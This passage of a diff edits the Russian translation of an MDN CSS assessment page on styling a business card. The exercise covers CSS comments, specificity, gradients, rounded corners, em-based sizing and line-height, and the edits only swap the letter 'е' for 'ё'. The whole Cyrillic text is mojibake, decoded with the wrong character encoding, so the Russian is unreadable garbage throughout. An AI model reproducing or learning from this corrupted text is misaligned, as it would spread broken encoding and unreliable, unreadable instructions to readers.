<li>Π‘ΠΊΠ°Ρ‡Π°ΠΉΡ‚Π΅ <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/style-resources.txt">тСкстовый Ρ„Π°ΠΉΠ» с исходным CSS</a> β€”Β  Π² Π½Π΅ΠΌ содСрТится Π½Π°Π±ΠΎΡ€ исходных сСлСкторов ΠΈ Π½Π°Π±ΠΎΡ€ΠΎΠ² ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ Ρ‡Π°ΡΡ‚ΡŒ этой ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ.</li>
</ul>
@@ -46,7 +46,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
<li>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, создайтС Π½ΠΎΠ²Ρ‹ΠΉ Ρ„Π°ΠΉΠ» Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΈ ваши HTML ΠΈ Ρ„Π°ΠΉΠ» изобраТСния. НазовитС Π΅Π³ΠΎ ΠΊΠ°ΠΊ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΎΠ±Ρ€Π°Π·Π½ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>style.css</code>.</li>
<li>ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ ваш CSS ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ HTML с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта <code>&lt;link&gt;</code>.</li>
<li>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° Π½Π°Π±ΠΎΡ€Π° ΠΏΡ€Π°Π²ΠΈΠ» Π² исходном Ρ„Π°ΠΉΠ»Π΅ CSS ваши бСсплатно! ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚Π΅ Ρ€Π°Π΄ΠΎΠ²Π°Ρ‚ΡŒΡΡ своСй ΡƒΠ΄Π°Ρ‡Π΅, скопируйтС ΠΈ Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ ΠΈΡ… Π² Π²Π΅Ρ€Ρ…Π½ΡŽΡŽ Ρ‡Π°ΡΡ‚ΡŒ вашСго Π½ΠΎΠ²ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° CSS. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΈΡ… Π² качСствС тСста, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ваш CSS ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ примСняСтся ΠΊ HTML.</li>
- <li>Над этими двумя ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ CSS-ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ, Ρ‡Ρ‚ΠΎ это Π½Π°Π±ΠΎΡ€ ΠΎΠ±Ρ‰ΠΈΡ… стилСй для всСй страницы. "ΠžΠ±Ρ‰ΠΈΠ΅ стили страницы" ΠΏΠΎΠ΄ΠΎΠΉΠ΄ΡƒΡ‚. Π’Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‰Π΅ Ρ‚Ρ€ΠΈ коммСнтария Π² Π½ΠΈΠΆΠ½Π΅ΠΉ части CSS-Ρ„Π°ΠΉΠ»Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ стили, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ для настройки ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΊΠ°Ρ€Ρ‚Ρ‹, стили, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ для Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ ΠΈ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»ΠΎΠ², Π° Ρ‚Π°ΠΊΠΆΠ΅ стили, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ для основного содСрТимого Π²ΠΈΠ·ΠΈΡ‚Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡ΠΊΠΈ. ΠžΡ‚Π½Ρ‹Π½Π΅ Π½ΠΎΠ²Ρ‹Π΅ стили, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π² Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ мСстС.</li>
+ <li>Над этими двумя ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ CSS-ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ, Ρ‡Ρ‚ΠΎ это Π½Π°Π±ΠΎΡ€ ΠΎΠ±Ρ‰ΠΈΡ… стилСй для всСй страницы. "ΠžΠ±Ρ‰ΠΈΠ΅ стили страницы" ΠΏΠΎΠ΄ΠΎΠΉΠ΄ΡƒΡ‚. Π’Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‰Ρ‘ Ρ‚Ρ€ΠΈ коммСнтария Π² Π½ΠΈΠΆΠ½Π΅ΠΉ части CSS-Ρ„Π°ΠΉΠ»Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ стили, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ для настройки ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΊΠ°Ρ€Ρ‚Ρ‹, стили, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ для Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ ΠΈ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»ΠΎΠ², Π° Ρ‚Π°ΠΊΠΆΠ΅ стили, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ для основного содСрТимого Π²ΠΈΠ·ΠΈΡ‚Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡ΠΊΠΈ. ΠžΡ‚Π½Ρ‹Π½Π΅ Π½ΠΎΠ²Ρ‹Π΅ стили, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π² Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ мСстС.</li>
</ul>
<p>ΠŸΠΎΠ·Π°Π±ΠΎΡ‚ΠΈΠΌΡΡ ΠΎ сСлСкторах ΠΈ Π½Π°Π±ΠΎΡ€Π°Ρ… ΠΏΡ€Π°Π²ΠΈΠ», прСдоставлСнных Π² Ρ„Π°ΠΉΠ»Π΅ CSS:</p>
@@ -55,9 +55,9 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
<li>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ посмотрСли Π½Π° Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ сСлСктора ΠΈ рассчитали ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ…. Π—Π°ΠΏΠΈΡˆΠΈΡ‚Π΅ ΠΈΡ… Π³Π΄Π΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ, Π³Π΄Π΅ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΉΠ΄Π΅Π½Ρ‹ ΠΏΠΎΠ·ΠΆΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части CSS.</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈΡˆΠ»ΠΎ врСмя ΡΠΎΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ сСлСктор ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ»! Π£ вас Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ ΠΏΠ°Ρ€Ρ‹ сСлСкторов ΠΈ Π½Π°Π±ΠΎΡ€Π° ΠΏΡ€Π°Π²ΠΈΠ» для сопоставлСния Π² Π²Π°ΡˆΠΈΡ… рСсурсах CSS. Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ это сСйчас ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΠΈΡ… Π² Ρ„Π°ΠΉΠ» CSS. Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ:
<ul>
- <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ основному ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρƒ ΠΊΠ°Ρ€Ρ‚Ρ‹ Ρ„ΠΈΠΊΡΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ/высоту, сплошной Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°, Π³Ρ€Π°Π½ΠΈΡ†Ρƒ ΠΈ радиус Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ (Π·Π°ΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹Π΅ ΡƒΠ³Π»Ρ‹!), ΠΏΠΎΠΌΠΈΠΌΠΎ ΠΏΡ€ΠΎΡ‡Π΅Π³ΠΎ.</li>
- <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Ρ„ΠΎΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ΄Π΅Ρ‚ ΠΎΡ‚ Ρ‚Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΊ свСтлому, плюс Π·Π°ΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹Π΅ ΡƒΠ³Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² Π·Π°ΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹Π΅ ΡƒΠ³Π»Ρ‹, Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ для Π³Π»Π°Π²Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΊΠ°Ρ€Ρ‚Ρ‹.</li>
- <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ для Ρ„ΡƒΡ‚Π΅Ρ€Π° Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Ρ„ΠΎΠ½Π°, пСрСходящий ΠΎΡ‚ свСтлого ΠΊ Ρ‚Π΅ΠΌΠ½ΠΎΠΌΡƒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ скруглСнныС ΡƒΠ³Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² скруглСнныС ΡƒΠ³Π»Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° основной ΠΊΠ°Ρ€Ρ‚Ρ‹.</li>
+ <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ основному ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρƒ ΠΊΠ°Ρ€Ρ‚Ρ‹ Ρ„ΠΈΠΊΡΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ/высоту, сплошной Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°, Π³Ρ€Π°Π½ΠΈΡ†Ρƒ ΠΈ радиус Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ (Π·Π°ΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹Π΅ ΡƒΠ³Π»Ρ‹!), ΠΏΠΎΠΌΠΈΠΌΠΎ ΠΏΡ€ΠΎΡ‡Π΅Π³ΠΎ.</li>
+ <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Ρ„ΠΎΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ΄Ρ‘Ρ‚ ΠΎΡ‚ Ρ‚Ρ‘ΠΌΠ½ΠΎΠ³ΠΎ ΠΊ свСтлому, плюс Π·Π°ΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹Π΅ ΡƒΠ³Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² Π·Π°ΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹Π΅ ΡƒΠ³Π»Ρ‹, Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ для Π³Π»Π°Π²Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΊΠ°Ρ€Ρ‚Ρ‹.</li>
+ <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ для Ρ„ΡƒΡ‚Π΅Ρ€Π° Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Ρ„ΠΎΠ½Π°, пСрСходящий ΠΎΡ‚ свСтлого ΠΊ Ρ‚Ρ‘ΠΌΠ½ΠΎΠΌΡƒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ скруглённыС ΡƒΠ³Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² скруглённыС ΡƒΠ³Π»Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° основной ΠΊΠ°Ρ€Ρ‚Ρ‹.</li>
<li>БмСститС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΏΡ€Π°Π²ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΎ ΠΏΡ€ΠΈΠ»ΠΈΠΏΠ»ΠΎ ΠΊ ΠΏΡ€Π°Π²ΠΎΠΉ сторонС основного содСрТимого Π²ΠΈΠ·ΠΈΡ‚Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡ΠΊΠΈ, ΠΈ ΠΏΡ€ΠΈΠ΄Π°ΠΉΡ‚Π΅ Π΅ΠΌΡƒ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ высоту 100% (Ρ…ΠΈΡ‚Ρ€Ρ‹ΠΉ Ρ‚Ρ€ΡŽΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°Ρ‚ΡŒΡΡ/ΡΠΆΠΈΠΌΠ°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ высотС, Ρ‡Ρ‚ΠΎ ΠΈ Π΅Π³ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ высоты ΠΎΠ½ становится).</li>
</ul>
</li>
@@ -69,14 +69,14 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
<ul>
<li>ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ», ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹ΠΉ ΠΊΠ°ΠΊ для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, Ρ‚Π°ΠΊ ΠΈ для Ρ„ΡƒΡ‚Π΅Ρ€Π° ΠΊΠ°Ρ€Ρ‚Ρ‹, задавая ΠΈΠΌ Π²Ρ‹Ρ‡ΠΈΡΠ»Π΅Π½Π½ΡƒΡŽ ΠΎΠ±Ρ‰ΡƒΡŽ высоту 50 пиксСлСй (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ высоту содСрТимого 30 пиксСлСй ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ отступы (padding) 10 пиксСлСй со всСх сторон.) Но Π²Ρ‹Ρ€Π°Π·ΠΈΡ‚Π΅ это Π² <code>em</code>s.</li>
<li><code>margin</code> ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, примСняСмый Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΊ элСмСнтам <code>&lt;h2&gt;</code> ΠΈ <code>&lt;p&gt;</code>, Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ΅ΡˆΠ°Ρ‚ΡŒ Π½Π°ΡˆΠ΅ΠΌΡƒ Π΄ΠΈΠ·Π°ΠΉΠ½Ρƒ, поэтому Π½Π°ΠΏΠΈΡˆΠΈΡ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ устанавливаСт этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ для ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… элСмСнтов Ρ€Π°Π²Π½Ρ‹ΠΌ 0.</li>
- <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π²Ρ‹Π»Π΅Π·Π°Π»ΠΎ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ основного содСрТимого Π²ΠΈΠ·ΠΈΡ‚ΠΊΠΈ (элСмСнт <code>&lt;article&gt;</code>), Π½ΡƒΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ Π΅ΠΌΡƒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ высоту. УстановитС высоту <code>&lt;article&gt;</code> Π² 120px, Π½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½ΡƒΡŽ Π² <code>em</code>s. Π’Π°ΠΊΠΆΠ΅ Π·Π°Π΄Π°ΠΉΡ‚Π΅ Π΅ΠΌΡƒ ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ получится Ρ‡ΡƒΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚Π΅ΠΌΠ½Ρ‹ΠΉ ΠΎΡ‚Ρ‚Π΅Π½ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Ρ†Π²Π΅Ρ‚Ρƒ Ρ„ΠΎΠ½Π° Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡΠ²Π΅Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ красным Ρ†Π²Π΅Ρ‚ΠΎΠΌ.</li>
- <li>ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Π΅Ρ‚ Ρ‚Π΅Π³Ρƒ <code>&lt;h2&gt;</code> ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° 20px (Π½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹ΠΉ Π² <code>em</code>s) ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ высоту строки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π΅ Π² Ρ†Π΅Π½Ρ‚Ρ€ поля содСрТимого Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°. Напомним, Ρ‡Ρ‚ΠΎ высота ΠΎΠΊΠ½Π° содСрТимого (content box) Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ 30px β€” это Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ всС числа, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для вычислСния высоты строки.</li>
- <li>ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Π΅Ρ‚ Ρ‚Π΅Π³Ρƒ <code>&lt;p&gt;</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Π° ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° 15px (Π½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹ΠΉ Π² <code>em</code>s) ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ высоту строки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² Ρ†Π΅Π½Ρ‚Ρ€ ΠΎΠΊΠ½Π° содСрТимого Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Π°. Напомним, Ρ‡Ρ‚ΠΎ высота ΠΎΠΊΠ½Π° содСрТимого Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ 30pxΒ β€” это Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ всС числа, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для вычислСния высоты строки.</li>
+ <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π²Ρ‹Π»Π΅Π·Π°Π»ΠΎ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ основного содСрТимого Π²ΠΈΠ·ΠΈΡ‚ΠΊΠΈ (элСмСнт <code>&lt;article&gt;</code>), Π½ΡƒΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ Π΅ΠΌΡƒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ высоту. УстановитС высоту <code>&lt;article&gt;</code> Π² 120px, Π½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½ΡƒΡŽ Π² <code>em</code>s. Π’Π°ΠΊΠΆΠ΅ Π·Π°Π΄Π°ΠΉΡ‚Π΅ Π΅ΠΌΡƒ ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ получится Ρ‡ΡƒΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚Ρ‘ΠΌΠ½Ρ‹ΠΉ ΠΎΡ‚Ρ‚Π΅Π½ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Ρ†Π²Π΅Ρ‚Ρƒ Ρ„ΠΎΠ½Π° Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡΠ²Π΅Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ красным Ρ†Π²Π΅Ρ‚ΠΎΠΌ.</li>
